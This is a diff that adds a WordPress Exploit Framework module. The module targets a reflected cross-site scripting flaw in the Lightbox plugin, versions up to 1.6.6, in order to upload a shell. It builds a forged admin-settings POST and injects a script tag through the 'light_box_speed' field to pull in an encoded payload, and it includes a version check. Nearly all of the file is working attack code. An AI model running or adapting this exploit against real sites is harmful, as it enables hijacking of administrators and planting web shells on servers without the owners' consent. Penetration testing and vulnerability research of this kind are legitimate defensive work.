|
| 1 | +class Wpxf::Exploit::LightboxReflectedXssShellUpload < Wpxf::Module |
| 2 | + include Wpxf::WordPress::StagedReflectedXss |
| 3 | + |
| 4 | + def initialize |
| 5 | + super |
| 6 | + |
| 7 | + update_info( |
| 8 | + name: 'Lightbox <= 1.6.6 Reflected XSS Shell Upload', |
| 9 | + author: [ |
| 10 | + 'Rob Carr <rob[at]rastating.com>' # WPXF module |
| 11 | + ], |
| 12 | + references: [ |
| 13 | + ['WPVDB', '8662'], |
| 14 | + ['URL', 'https://www.rastating.com/lightbox-1-6-6-csrf-stored-xss/'] |
| 15 | + ], |
| 16 | + date: 'Nov 13 2016' |
| 17 | + ) |
| 18 | + end |
| 19 | + |
| 20 | + def check |
| 21 | + check_plugin_version_from_readme('lightbox', '1.6.7') |
| 22 | + end |
| 23 | + |
| 24 | + def vulnerable_url |
| 25 | + normalize_uri(wordpress_url_admin, 'admin.php?page=huge_it_light_box&hugeit_task=save') |
| 26 | + end |
| 27 | + |
| 28 | + def initial_script |
| 29 | + create_basic_post_script( |
| 30 | + vulnerable_url, |
| 31 | + 'light_box_style' => '1', |
| 32 | + 'light_box_transition' => 'elastic', |
| 33 | + 'light_box_speed' => "\\\"><script>#{xss_ascii_encoded_include_script}<\\/script>", |
| 34 | + 'light_box_fadeout' => '300', |
| 35 | + 'light_box_title' => 'false', |
| 36 | + 'params[light_box_opacity]' => '20', |
| 37 | + 'params[light_box_open]' => 'false', |
| 38 | + 'params[light_box_overlayclose]' => 'true', |
| 39 | + 'params[light_box_esckey]' => 'false', |
| 40 | + 'params[light_box_arrowkey]' => 'false', |
| 41 | + 'params[light_box_loop]' => 'true', |
| 42 | + 'params[light_box_closebutton]' => 'true', |
| 43 | + 'params[light_box_fixed]' => 'true', |
| 44 | + 'params[slider_title_position]' => '5', |
| 45 | + 'params[light_box_size_fix]' => 'false', |
| 46 | + 'params[light_box_width]' => '500', |
| 47 | + 'params[light_box_height]' => '500', |
| 48 | + 'params[light_box_maxwidth]' => '768', |
| 49 | + 'params[light_box_maxheight]' => '500', |
| 50 | + 'params[light_box_initialwidth]' => '300', |
| 51 | + 'params[light_box_initialheight]' => '100', |
| 52 | + 'params[light_box_slideshow]' => 'false', |
| 53 | + 'params[light_box_slideshowspeed]' => '2500', |
| 54 | + 'params[light_box_slideshowauto]' => 'true', |
| 55 | + 'params[light_box_slideshowstart]' => 'start slideshow', |
| 56 | + 'params[light_box_slideshowstop]' => 'stop slideshow', |
| 57 | + 'params[watermarket_image]' => 'false', |
| 58 | + 'params[watermark_width]' => '0', |
| 59 | + 'params[watermark_transparency]' => '0' |
| 60 | + ) |
| 61 | + end |
| 62 | +end |
0 commit comments